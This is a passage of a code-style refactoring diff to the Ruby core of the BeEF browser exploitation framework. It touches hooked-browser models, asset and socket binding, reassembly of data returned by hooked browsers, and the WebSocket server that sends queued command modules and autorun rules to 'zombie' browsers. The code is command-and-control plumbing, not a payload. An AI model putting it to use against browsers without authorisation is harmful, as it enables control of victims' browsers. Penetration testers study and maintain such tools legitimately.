Core + module Models + class HookedBrowser < BeEF::Core::Model + has_many :commands + has_many :results + has_many :logs + + # @note Increases the count of a zombie + def count! + count.nil? ? self.count = 1 : self.count += 1 + end + end end end end -end -end diff --git a/core/main/models/log.rb b/core/main/models/log.rb index b7d4b1e83..04de806e0 100644 --- a/core/main/models/log.rb +++ b/core/main/models/log.rb @@ -4,15 +4,11 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - - class Log < BeEF::Core::Model - - has_one :hooked_browser - - + module Core + module Models + class Log < BeEF::Core::Model + has_one :hooked_browser + end + end end end -end -end diff --git a/core/main/models/optioncache.rb b/core/main/models/optioncache.rb index ce1eab38c..4fd69cec3 100644 --- a/core/main/models/optioncache.rb +++ b/core/main/models/optioncache.rb @@ -4,13 +4,10 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - -class OptionCache < BeEF::Core::Model - -end - -end -end + module Core + module Models + class OptionCache < BeEF::Core::Model + end + end + end end diff --git a/core/main/models/result.rb b/core/main/models/result.rb index 741af3840..8b776a621 100644 --- a/core/main/models/result.rb +++ b/core/main/models/result.rb @@ -4,16 +4,12 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - - class Result < BeEF::Core::Model - - has_one :command - has_one :hooked_browser - + module Core + module Models + class Result < BeEF::Core::Model + has_one :command + has_one :hooked_browser + end + end end - -end -end end diff --git a/core/main/network_stack/api.rb b/core/main/network_stack/api.rb index ea258c8e7..e35df1fac 100644 --- a/core/main/network_stack/api.rb +++ b/core/main/network_stack/api.rb @@ -4,22 +4,18 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module NetworkStack - - module RegisterHttpHandler + module Core + module NetworkStack + module RegisterHttpHandler + # Register the http handler for the network stack + # @param [Object] server HTTP server instance + def self.mount_handler(server) + # @note this mounts the dynamic handler + server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new) + end + end - # Register the http handler for the network stack - # @param [Object] server HTTP server instance - def self.mount_handler(server) - # @note this mounts the dynamic handler - server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new) + BeEF::API::Registrar.instance.register(BeEF::Core::NetworkStack::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') end - end - - BeEF::API::Registrar.instance.register(BeEF::Core::NetworkStack::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') - -end -end end diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 81f944e7c..9674d19a4 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -4,256 +4,251 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module NetworkStack -module Handlers - - # @note Class defining BeEF assets - class AssetHandler - - # @note call BeEF::Core::NetworkStack::Handlers::AssetHandler.instance - include Singleton - - attr_reader :allocations, :root_dir - - # Starts the AssetHandler instance - def initialize - @allocations = {} - @sockets = {} - @http_server = BeEF::Core::Server.instance - @root_dir = File.expand_path('../../../../', __FILE__) - end + module Core + module NetworkStack + module Handlers + # @note Class defining BeEF assets + class AssetHandler + # @note call BeEF::Core::NetworkStack::Handlers::AssetHandler.instance + include Singleton - # Binds a redirector to a mount point - # @param [String] target The target for the redirector - # @param [String] path An optional URL path to mount the redirector to (can be nil for a random path) - # @return [String] URL Path of the redirector - # @todo This function, similar to bind(), should accept a hooked browser session to limit the mounted file to a certain session etc. - def bind_redirect(target, path=nil) - url = build_url(path,nil) - @allocations[url] = {'target' => target} - @http_server.mount(url,BeEF::Core::NetworkStack::Handlers::Redirector.new(target)) - @http_server.remap - print_info "Redirector to [" + target + "] bound to url [" + url + "]" - url - rescue => e - print_error "Failed to mount #{path} : #{e.message}" - print_error e.backtrace - end + attr_reader :allocations, :root_dir - # Binds raw HTTP to a mount point - # @param [Integer] status HTTP status code to return - # @param [String] headers HTTP headers as a JSON string to return - # @param [String] body HTTP body to return - # @param [String] path URL path to mount the asset to TODO (can be nil for random path) - # @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) - def bind_raw(status, header, body, path=nil, count=-1) - url = build_url(path,nil) - @allocations[url] = {} - @http_server.mount( - url, - BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body) - ) - @http_server.remap - print_info "Raw HTTP bound to url [" + url + "]" - url - rescue => e - print_error "Failed to mount #{path} : #{e.message}" - print_error e.backtrace - end - - # Binds a file to a mount point - # @param [String] file File path to asset - # @param [String] path URL path to mount the asset to (can be nil for random path) - # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for() - # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) - # @return [String] URL Path of mounted asset - # @todo This function should accept a hooked browser session to limit the mounted file to a certain session - def bind(file, path=nil, extension=nil, count=-1) - unless File.exist? "#{root_dir}#{file}" - print_error "Failed to mount file #{root_dir}#{file}. File does not exist" - return - end - - url = build_url(path, extension) - @allocations[url] = {'file' => "#{root_dir}#{file}", - 'path' => path, - 'extension' => extension, - 'count' => count} - - resp_body = File.read("#{root_dir}#{file}") - - if extension.nil? || MIME::Types.type_for(extension).empty? - content_type = 'text/plain' - else - content_type = MIME::Types.type_for(extension).first.content_type - end - - @http_server.mount( - url, - BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type' => content_type}, resp_body) - ) - - @http_server.remap - print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]" - - url - rescue => e - print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}" - print_error e.backtrace - end - - # Binds a file to a mount point (cached for 1 year) - # @param [String] file File path to asset - # @param [String] path URL path to mount the asset to (can be nil for random path) - # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for() - # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) - # @return [String] URL Path of mounted asset - # @todo This function should accept a hooked browser session to limit the mounted file to a certain session - def bind_cached(file, path=nil, extension=nil, count=-1) - unless File.exist? "#{root_dir}#{file}" - print_error "Failed to mount file #{root_dir}#{file}. File does not exist" - return - end - - url = build_url(path, extension) - @allocations[url] = {'file' => "#{root_dir}#{file}", - 'path' => path, - 'extension' => extension, - 'count' => count} - - resp_body = File.read("#{root_dir}#{file}") - - if extension.nil? || MIME::Types.type_for(extension).empty? - content_type = 'text/plain' - else - content_type = MIME::Types.type_for(extension).first.content_type - end - - @http_server.mount( - url, - BeEF::Core::NetworkStack::Handlers::Raw.new( - '200', { - 'Content-Type' => content_type, - 'Expires' => CGI.rfc1123_date(Time.now+(60*60*24*365)) }, - resp_body) - ) - - @http_server.remap - print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]" - - url - rescue => e - print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}" - print_error e.backtrace - end - - # Unbinds a file from a mount point - # @param [String] url URL path of asset to be unbinded - #TODO: check why is throwing exception - def unbind(url) - @allocations.delete(url) - @http_server.unmount(url) - @http_server.remap - print_info "Url [#{url}] unmounted" - end - - # use it like: bind_socket("irc","0.0.0.0",6667) - def bind_socket(name, host, port) - unless @sockets[name].nil? - print_error "Bind Socket [#{name}] is already listening on [#{host}:#{port}]." - return - end - - t = Thread.new { - server = TCPServer.new(host,port) - loop do - Thread.start(server.accept) do |client| - data = "" - recv_length = 1024 - threshold = 1024 * 512 - while (tmp = client.recv(recv_length)) - data += tmp - break if tmp.length < recv_length || tmp.length == recv_length - # 512 KB max of incoming data - break if data > threshold - end - if data.size > threshold - print_error "More than 512 KB of data incoming for Bind Socket [#{name}]. For security purposes client connection is closed, and data not saved." - else - @sockets[name] = {'thread' => t, 'data' => data} - print_info "Bind Socket [#{name}] received [#{data.size}] bytes of data." - print_debug "Bind Socket [#{name}] received:\n#{data}" - end - client.close + # Starts the AssetHandler instance + def initialize + @allocations = {} + @sockets = {} + @http_server = BeEF::Core::Server.instance + @root_dir = File.expand_path('../../..', __dir__) end - end - } - print_info "Bind socket [#{name}] listening on [#{host}:#{port}]." - end + # Binds a redirector to a mount point + # @param [String] target The target for the redirector + # @param [String] path An optional URL path to mount the redirector to (can be nil for a random path) + # @return [String] URL Path of the redirector + # @todo This function, similar to bind(), should accept a hooked browser session to limit the mounted file to a certain session etc. + def bind_redirect(target, path = nil) + url = build_url(path, nil) + @allocations[url] = { 'target' => target } + @http_server.mount(url, BeEF::Core::NetworkStack::Handlers::Redirector.new(target)) + @http_server.remap + print_info 'Redirector to [' + target + '] bound to url [' + url + ']' + url + rescue StandardError => e + print_error "Failed to mount #{path} : #{e.message}" + print_error e.backtrace + end - def get_socket_data(name) - if @sockets[name].nil? - print_error "Bind Socket [#{name}] does not exists." - return - end - @sockets[name]['data'] - end + # Binds raw HTTP to a mount point + # @param [Integer] status HTTP status code to return + # @param [String] headers HTTP headers as a JSON string to return + # @param [String] body HTTP body to return + # @param [String] path URL path to mount the asset to TODO (can be nil for random path) + # @todo @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) + def bind_raw(status, header, body, path = nil, _count = -1) + url = build_url(path, nil) + @allocations[url] = {} + @http_server.mount( + url, + BeEF::Core::NetworkStack::Handlers::Raw.new(status, header, body) + ) + @http_server.remap + print_info 'Raw HTTP bound to url [' + url + ']' + url + rescue StandardError => e + print_error "Failed to mount #{path} : #{e.message}" + print_error e.backtrace + end - def unbind_socket(name) - t = @sockets[name]['thread'] - if t.alive? - print_debug "Thread to be killed: #{t}" - Thread.kill(t) - print_info "Bind Socket [#{name}] killed." - else - print_info "Bind Socket [#{name}] ALREADY killed." - end - end - - # Builds a URL based on the path and extension, if neither are passed a random URL will be generated - # @param [String] path URL Path defined by bind() - # @param [String] extension Extension defined by bind() - # @param [Integer] length The amount of characters to be used when generating a random URL - # @return [String] Generated URL - def build_url(path, extension, length=20) - url = (path == nil) ? '/'+rand(36**length).to_s(36) : path - url += (extension == nil) ? '' : '.'+extension - url - end - - # Checks if the file is allocated, if the file isn't return true to pass onto FileHandler. - # @param [String] url URL Path of mounted file - # @return [Boolean] Returns true if the file is mounted - def check(url) - return false unless @allocations.has_key?(url) - - count = @allocations[url]['count'] - - if count == -1 - return true - end - - if count > 0 - if (count - 1) == 0 - unbind(url) - else - @allocations[url]['count'] = count - 1 + # Binds a file to a mount point + # @param [String] file File path to asset + # @param [String] path URL path to mount the asset to (can be nil for random path) + # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for() + # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) + # @return [String] URL Path of mounted asset + # @todo This function should accept a hooked browser session to limit the mounted file to a certain session + def bind(file, path = nil, extension = nil, count = -1) + unless File.exist? "#{root_dir}#{file}" + print_error "Failed to mount file #{root_dir}#{file}. File does not exist" + return end - return true + + url = build_url(path, extension) + @allocations[url] = { 'file' => "#{root_dir}#{file}", + 'path' => path, + 'extension' => extension, + 'count' => count } + + resp_body = File.read("#{root_dir}#{file}") + + content_type = if extension.nil? || MIME::Types.type_for(extension).empty? + 'text/plain' + else + MIME::Types.type_for(extension).first.content_type + end + + @http_server.mount( + url, + BeEF::Core::NetworkStack::Handlers::Raw.new('200', { 'Content-Type' => content_type }, resp_body) + ) + + @http_server.remap + print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]" + + url + rescue StandardError => e + print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}" + print_error e.backtrace + end + + # Binds a file to a mount point (cached for 1 year) + # @param [String] file File path to asset + # @param [String] path URL path to mount the asset to (can be nil for random path) + # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for() + # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) + # @return [String] URL Path of mounted asset + # @todo This function should accept a hooked browser session to limit the mounted file to a certain session + def bind_cached(file, path = nil, extension = nil, count = -1) + unless File.exist? "#{root_dir}#{file}" + print_error "Failed to mount file #{root_dir}#{file}. File does not exist" + return + end + + url = build_url(path, extension) + @allocations[url] = { 'file' => "#{root_dir}#{file}", + 'path' => path, + 'extension' => extension, + 'count' => count } + + resp_body = File.read("#{root_dir}#{file}") + + content_type = if extension.nil? || MIME::Types.type_for(extension).empty? + 'text/plain' + else + MIME::Types.type_for(extension).first.content_type + end + + @http_server.mount( + url, + BeEF::Core::NetworkStack::Handlers::Raw.new( + '200', { + 'Content-Type' => content_type, + 'Expires' => CGI.rfc1123_date(Time.now + (60 * 60 * 24 * 365)) + }, + resp_body + ) + ) + + @http_server.remap + print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]" + + url + rescue StandardError => e + print_error "Failed to mount file '#{root_dir}#{file}' to #{path} : #{e.message}" + print_error e.backtrace + end + + # Unbinds a file from a mount point + # @param [String] url URL path of asset to be unbinded + # TODO: check why is throwing exception + def unbind(url) + @allocations.delete(url) + @http_server.unmount(url) + @http_server.remap + print_info "Url [#{url}] unmounted" + end + + # use it like: bind_socket("irc","0.0.0.0",6667) + def bind_socket(name, host, port) + unless @sockets[name].nil? + print_error "Bind Socket [#{name}] is already listening on [#{host}:#{port}]." + return + end + + t = Thread.new do + server = TCPServer.new(host, port) + loop do + Thread.start(server.accept) do |client| + data = '' + recv_length = 1024 + threshold = 1024 * 512 + while (tmp = client.recv(recv_length)) + data += tmp + break if tmp.length < recv_length || tmp.length == recv_length + # 512 KB max of incoming data + break if data > threshold + end + if data.size > threshold + print_error "More than 512 KB of data incoming for Bind Socket [#{name}]. For security purposes client connection is closed, and data not saved." + else + @sockets[name] = { 'thread' => t, 'data' => data } + print_info "Bind Socket [#{name}] received [#{data.size}] bytes of data." + print_debug "Bind Socket [#{name}] received:\n#{data}" + end + client.close + end + end + end + + print_info "Bind socket [#{name}] listening on [#{host}:#{port}]." + end + + def get_socket_data(name) + if @sockets[name].nil? + print_error "Bind Socket [#{name}] does not exists." + return + end + @sockets[name]['data'] + end + + def unbind_socket(name) + t = @sockets[name]['thread'] + if t.alive? + print_debug "Thread to be killed: #{t}" + Thread.kill(t) + print_info "Bind Socket [#{name}] killed." + else + print_info "Bind Socket [#{name}] ALREADY killed." + end + end + + # Builds a URL based on the path and extension, if neither are passed a random URL will be generated + # @param [String] path URL Path defined by bind() + # @param [String] extension Extension defined by bind() + # @param [Integer] length The amount of characters to be used when generating a random URL + # @return [String] Generated URL + def build_url(path, extension, length = 20) + url = path.nil? ? '/' + rand(36**length).to_s(36) : path + url += extension.nil? ? '' : '.' + extension + url + end + + # Checks if the file is allocated, if the file isn't return true to pass onto FileHandler. + # @param [String] url URL Path of mounted file + # @return [Boolean] Returns true if the file is mounted + def check(url) + return false unless @allocations.has_key?(url) + + count = @allocations[url]['count'] + + return true if count == -1 + + if count > 0 + if (count - 1) == 0 + unbind(url) + else + @allocations[url]['count'] = count - 1 + end + return true + end + + false + end + + @http_server + @allocations end - - false + end end - - private - @http_server - @allocations - end - -end -end -end end diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb index 9383fda60..b72458358 100644 --- a/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -7,18 +7,16 @@ module BeEF module Core module NetworkStack module Handlers - # @note DynamicHandler is used reconstruct segmented traffic from the hooked browser class DynamicReconstruction < BeEF::Core::Router::Router - # @note holds packet queue - PQ = Array.new() + PQ = [] # @note obtain dynamic mount points from HttpHookServer MOUNTS = BeEF::Core::Server.instance.mounts before do - error 404 unless !params.empty? + error 404 if params.empty? headers 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' @@ -34,55 +32,50 @@ module BeEF 'Access-Control-Allow-Methods' => 'POST, GET' begin PQ << { - :beefhook => params[:bh], - :stream_id => Integer(params[:sid]), - :packet_id => Integer(params[:pid]), - :packet_count => Integer(params[:pc]), - :data => params[:d] + beefhook: params[:bh], + stream_id: Integer(params[:sid]), + packet_id: Integer(params[:pid]), + packet_count: Integer(params[:pc]), + data: params[:d] } rescue TypeError, ArgumentError => e print_error "Hooked browser returned an invalid argument: #{e}" end - Thread.new { - check_packets() - } + Thread.new do + check_packets + end end # Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets - def check_packets() - checked = Array.new() + def check_packets + checked = [] PQ.each do |packet| - if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id]))) - next - end - checked << packet[:beefhook]+':'+String(packet[:stream_id]) + next if checked.include?(packet[:beefhook] + ':' + String(packet[:stream_id])) + + checked << (packet[:beefhook] + ':' + String(packet[:stream_id])) pc = 0 PQ.each do |p| - if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id]) - pc += 1 - end + pc += 1 if packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id] end - if (packet[:packet_count] == pc) - packets = expunge(packet[:beefhook], packet[:stream_id]) - data = '' - packets.each_with_index do |sp, i| - if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]) - data += sp[:data] - end - end - b64 = Base64.decode64(data) - begin - res = JSON.parse(b64).first - res['beefhook'] = packet[:beefhook] - res['request'] = request - res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')] - execute(res) - rescue JSON::ParserError => e - print_debug 'Network stack could not decode packet stream.' - print_debug 'Dumping Stream Data [base64]: '+data - print_debug 'Dumping Stream Data: '+b64 - end + next unless packet[:packet_count] == pc + + packets = expunge(packet[:beefhook], packet[:stream_id]) + data = '' + packets.each_with_index do |sp, _i| + data += sp[:data] if packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id] + end + b64 = Base64.decode64(data) + begin + res = JSON.parse(b64).first + res['beefhook'] = packet[:beefhook] + res['request'] = request + res['beefsession'] = request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')] + execute(res) + rescue JSON::ParserError => e + print_debug 'Network stack could not decode packet stream.' + print_debug 'Dumping Stream Data [base64]: ' + data + print_debug 'Dumping Stream Data: ' + b64 end end end @@ -100,8 +93,8 @@ module BeEF # @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction def execute(data) handler = get_param(data, 'handler') - if (MOUNTS.has_key?(handler)) - if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2) + if MOUNTS.has_key?(handler) + if MOUNTS[handler].instance_of?(Array) and MOUNTS[handler].length == 2 MOUNTS[handler][0].new(data, MOUNTS[handler][1]) else MOUNTS[handler].new(data) @@ -115,6 +108,7 @@ module BeEF # @return Value associated with `key` def get_param(query, key) return nil if query[key].nil? + query[key] end end diff --git a/core/main/network_stack/handlers/raw.rb b/core/main/network_stack/handlers/raw.rb index 97899aebf..e027e75a3 100644 --- a/core/main/network_stack/handlers/raw.rb +++ b/core/main/network_stack/handlers/raw.rb @@ -7,32 +7,27 @@ module BeEF module Core module NetworkStack module Handlers - class Raw + def initialize(status, header = {}, body = nil) + @status = status + @header = header + @body = body + end - def initialize(status, header={}, body=nil) - @status = status - @header = header - @body = body - end + def call(_env) + # [@status, @header, @body] + @response = Rack::Response.new( + body = @body, + status = @status, + header = @header + ) + end - def call(env) - # [@status, @header, @body] - @response = Rack::Response.new( - body = @body, - status = @status, - header = @header - ) - end + @request - private - - @request - - @response - - end - end -end -end + @response + end + end + end + end end diff --git a/core/main/network_stack/handlers/redirector.rb b/core/main/network_stack/handlers/redirector.rb index 31d92572c..9f24955a8 100644 --- a/core/main/network_stack/handlers/redirector.rb +++ b/core/main/network_stack/handlers/redirector.rb @@ -7,36 +7,31 @@ module BeEF module Core module NetworkStack module Handlers - # @note Redirector is used as a Rack app for mounting HTTP redirectors, instead of content # @todo Add new options to specify what kind of redirect you want to achieve class Redirector + @target = '' - @target = "" + def initialize(target) + @target = target + end - def initialize(target) - @target = target - end + def call(_env) + @response = Rack::Response.new( + body = ['302 found'], + status = 302, + header = { + 'Content-Type' => 'text', + 'Location' => @target + } + ) + end - def call(env) - @response = Rack::Response.new( - body = ['302 found'], - status = 302, - header = { - 'Content-Type' => 'text', - 'Location' => @target - } - ) - end + @request - private - - @request - - @response - - end - end -end -end + @response + end + end + end + end end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index b215889ae..47d2468f9 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -27,32 +27,28 @@ module BeEF secure = @@config.get('beef.http.websocket.secure') # @note Start a WSS server socket - if (secure) + if secure cert_key = @@config.get('beef.http.https.key') - unless cert_key.start_with? '/' - cert_key = File.expand_path cert_key, $root_dir - end + cert_key = File.expand_path cert_key, $root_dir unless cert_key.start_with? '/' unless File.exist? cert_key print_error "Error: #{cert_key} does not exist" exit 1 end cert = @@config.get('beef.http.https.cert') - unless cert.start_with? '/' - cert = File.expand_path cert, $root_dir - end + cert = File.expand_path cert, $root_dir unless cert.start_with? '/' unless File.exist? cert print_error "Error: #{cert} does not exist" exit 1 end ws_secure_options = { - :host => @@config.get('beef.http.host'), - :port => @@config.get('beef.http.websocket.secure_port'), - :secure => true, - :tls_options => { - :cert_chain_file => cert, - :private_key_file => cert_key, + host: @@config.get('beef.http.host'), + port: @@config.get('beef.http.websocket.secure_port'), + secure: true, + tls_options: { + cert_chain_file: cert, + private_key_file: cert_key } } start_websocket_server(ws_secure_options) @@ -60,9 +56,9 @@ module BeEF # @note Start a WS server socket ws_options = { - :host => @@config.get('beef.http.host'), - :port => @@config.get('beef.http.websocket.port'), - :secure => false + host: @@config.get('beef.http.host'), + port: @@config.get('beef.http.websocket.port'), + secure: false } start_websocket_server(ws_options) end @@ -77,119 +73,117 @@ module BeEF EventMachine.run do EventMachine::WebSocket.start(ws_options) do |ws| - begin - ws.onopen do |handshake| - print_debug("[WebSocket] New #{secure ? 'WebSocketSecure' : 'WebSocket'} channel open.") + ws.onopen do |_handshake| + print_debug("[WebSocket] New #{secure ? 'WebSocketSecure' : 'WebSocket'} channel open.") + end + + ws.onerror do |error| + print_error "[WebSocket] Error: #{error}" + end + + ws.onclose do |msg| + print_debug "[WebSocket] Connection closed: #{msg}" + end + + ws.onmessage do |msg, _type| + begin + msg_hash = JSON.parse(msg) + print_debug "[WebSocket] New message: #{msg_hash}" if @@debug + rescue StandardError => e + print_error "[WebSocket] Failed parsing WebSocket message: #{e.message}" + print_error e.backtrace + next end - ws.onerror do |error| - print_error "[WebSocket] Error: #{error}" - end + # new zombie + unless msg_hash['cookie'].nil? + print_debug('[WebSocket] Browser says hello! WebSocket is running') + # insert new connection in activesocket + @@activeSocket[(msg_hash['cookie']).to_s] = ws + print_debug("[WebSocket] activeSocket content [#{@@activeSocket}]") - ws.onclose do |msg| - print_debug "[WebSocket] Connection closed: #{msg}" - end - - ws.onmessage do |msg, type| - begin - msg_hash = JSON.parse(msg) - print_debug "[WebSocket] New message: #{msg_hash}" if @@debug - rescue => e - print_error "[WebSocket] Failed parsing WebSocket message: #{e.message}" - print_error e.backtrace + hb_session = msg_hash['cookie'] + hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hb_session).first + if hooked_browser.nil? + print_error '[WebSocket] Fingerprinting not finished yet.' + print_more 'ARE rules were not triggered. You may want to trigger them manually via REST API.' next end - # new zombie - unless msg_hash['cookie'].nil? - print_debug("[WebSocket] Browser says hello! WebSocket is running") - # insert new connection in activesocket - @@activeSocket["#{msg_hash["cookie"]}"] = ws - print_debug("[WebSocket] activeSocket content [#{@@activeSocket}]") + browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.name') + browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.version') + os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.name') + os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.version') + BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version) - hb_session = msg_hash["cookie"] - hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => hb_session).first - if hooked_browser.nil? - print_error '[WebSocket] Fingerprinting not finished yet.' - print_more 'ARE rules were not triggered. You may want to trigger them manually via REST API.' - next - end - - browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.name') - browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'browser.version') - os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.name') - os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'host.os.version') - BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version) - - next - end - - # polling zombie - unless msg_hash['alive'].nil? - hooked_browser = BeEF::Core::Models::HookedBrowser.where(:session => msg_hash["alive"]).first - - # This will happen if you reset BeEF database (./beef -x), - # and existing zombies try to connect. These zombies will be ignored, - # as they are unknown and presumed invalid. - # - # @todo: consider fixing this. add zombies instead of ignoring them - # and report "Hooked browser X appears to have come back online" - if hooked_browser.nil? - # print_error "Could not find zombie with ID #{msg_hash['alive']}" - next - end - - hooked_browser.lastseen = Time.new.to_i - hooked_browser.count! - hooked_browser.save! - - # Check if new modules need to be sent - zombie_commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) - zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } - - # Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered - are_body = '' - are_executions = BeEF::Core::Models::Execution.where(:is_sent => false, :session_id => hooked_browser.session) - are_executions.each do |are_exec| - are_body += are_exec.mod_body - are_exec.update(:is_sent => true, :exec_time => Time.new.to_i) - end - @@activeSocket[hooked_browser.session].send(are_body) unless are_body.empty? - - # @todo antisnatchor: - # @todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions - # Check if new forged requests need to be sent (Requester/TunnelingProxy) - if @@config.get('beef.extension.requester.loaded') - dhook = BeEF::Extension::Requester::API::Hook.new - dhook.requester_run(hooked_browser, '') - end - - # Check if new XssRays scan need to be started - if @@config.get('beef.extension.xssrays.loaded') - xssrays = BeEF::Extension::Xssrays::API::Scan.new - xssrays.start_scan(hooked_browser, '') - end - - next - end - - # received request for a specific handler - # the zombie is probably trying to return command module results - # or call back to a running BeEF extension - unless msg_hash['handler'].nil? - # Call the handler for websocket cmd response - # Base64 decode, parse JSON, and forward - execute(msg_hash) - next - end - - print_error "[WebSocket] Unexpected WebSocket message: #{msg_hash}" + next end + + # polling zombie + unless msg_hash['alive'].nil? + hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: msg_hash['alive']).first + + # This will happen if you reset BeEF database (./beef -x), + # and existing zombies try to connect. These zombies will be ignored, + # as they are unknown and presumed invalid. + # + # @todo: consider fixing this. add zombies instead of ignoring them + # and report "Hooked browser X appears to have come back online" + if hooked_browser.nil? + # print_error "Could not find zombie with ID #{msg_hash['alive']}" + next + end + + hooked_browser.lastseen = Time.new.to_i + hooked_browser.count! + hooked_browser.save! + + # Check if new modules need to be sent + zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false) + zombie_commands.each { |command| add_command_instructions(command, hooked_browser) } + + # Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered + are_body = '' + are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hooked_browser.session) + are_executions.each do |are_exec| + are_body += are_exec.mod_body + are_exec.update(is_sent: true, exec_time: Time.new.to_i) + end + @@activeSocket[hooked_browser.session].send(are_body) unless are_body.empty? + + # @todo antisnatchor: + # @todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions + # Check if new forged requests need to be sent (Requester/TunnelingProxy) + if @@config.get('beef.extension.requester.loaded') + dhook = BeEF::Extension::Requester::API::Hook.new + dhook.requester_run(hooked_browser, '') + end + + # Check if new XssRays scan need to be started + if @@config.get('beef.extension.xssrays.loaded') + xssrays = BeEF::Extension::Xssrays::API::Scan.new + xssrays.start_scan(hooked_browser, '') + end + + next + end + + # received request for a specific handler + # the zombie is probably trying to return command module results + # or call back to a running BeEF extension + unless msg_hash['handler'].nil? + # Call the handler for websocket cmd response + # Base64 decode, parse JSON, and forward + execute(msg_hash) + next + end + + print_error "[WebSocket] Unexpected WebSocket message: #{msg_hash}" end end end end - rescue => e + rescue StandardError => e print_error "[WebSocket] Error: #{e.message}" raise e end @@ -198,7 +192,7 @@ module BeEF # @note retrieve the right websocket channel given an hooked browser session # @param [String] session the hooked browser session # - def getsocket (session) + def getsocket(session) !@@activeSocket[session].nil? end @@ -207,7 +201,7 @@ module BeEF # @param [String] fn the module to execute # @param [String] session the hooked browser session # - def send (fn, session) + def send(fn, session) @@activeSocket[session].send(fn) end @@ -228,27 +222,25 @@ module BeEF # "jkERa2PIdTtwnwxheXiiGZsm4ukfAD6o84LpgcJBW0g7S8fIh0Uq1yUZxnC0Cr163FxPWCpPN3uOVyPZ"} # => {"handler"=>"/command/test_beef_debug.js", "cid"=>"1", "result"=>"InJlc3VsdD1jYWxsZWQgdGhlIGJlZWYuZGVidWcoKSBmdW5jdGlvbi4gQ2hlY2sgdGhlIGRldmVsb3BlciBjb25zb2xlIGZvciB5b3VyIGRlYnVnIG1lc3NhZ2UuIg==", "status"=>"undefined", "callback"=>"undefined", "bh"=>"jkERa2PIdTtwnwxheXiiGZsm4ukfAD6o84LpgcJBW0g7S8fIh0Uq1yUZxnC0Cr163FxPWCpPN3uOVyPZ"} # - def execute (data) - if @@debug - print_debug data.inspect - end + def execute(data) + print_debug data.inspect if @@debug hooked_browser = data['bh'] unless BeEF::Filters.is_valid_hook_session_id?(hooked_browser) - print_error "[Websocket] BeEF hook is invalid" + print_error 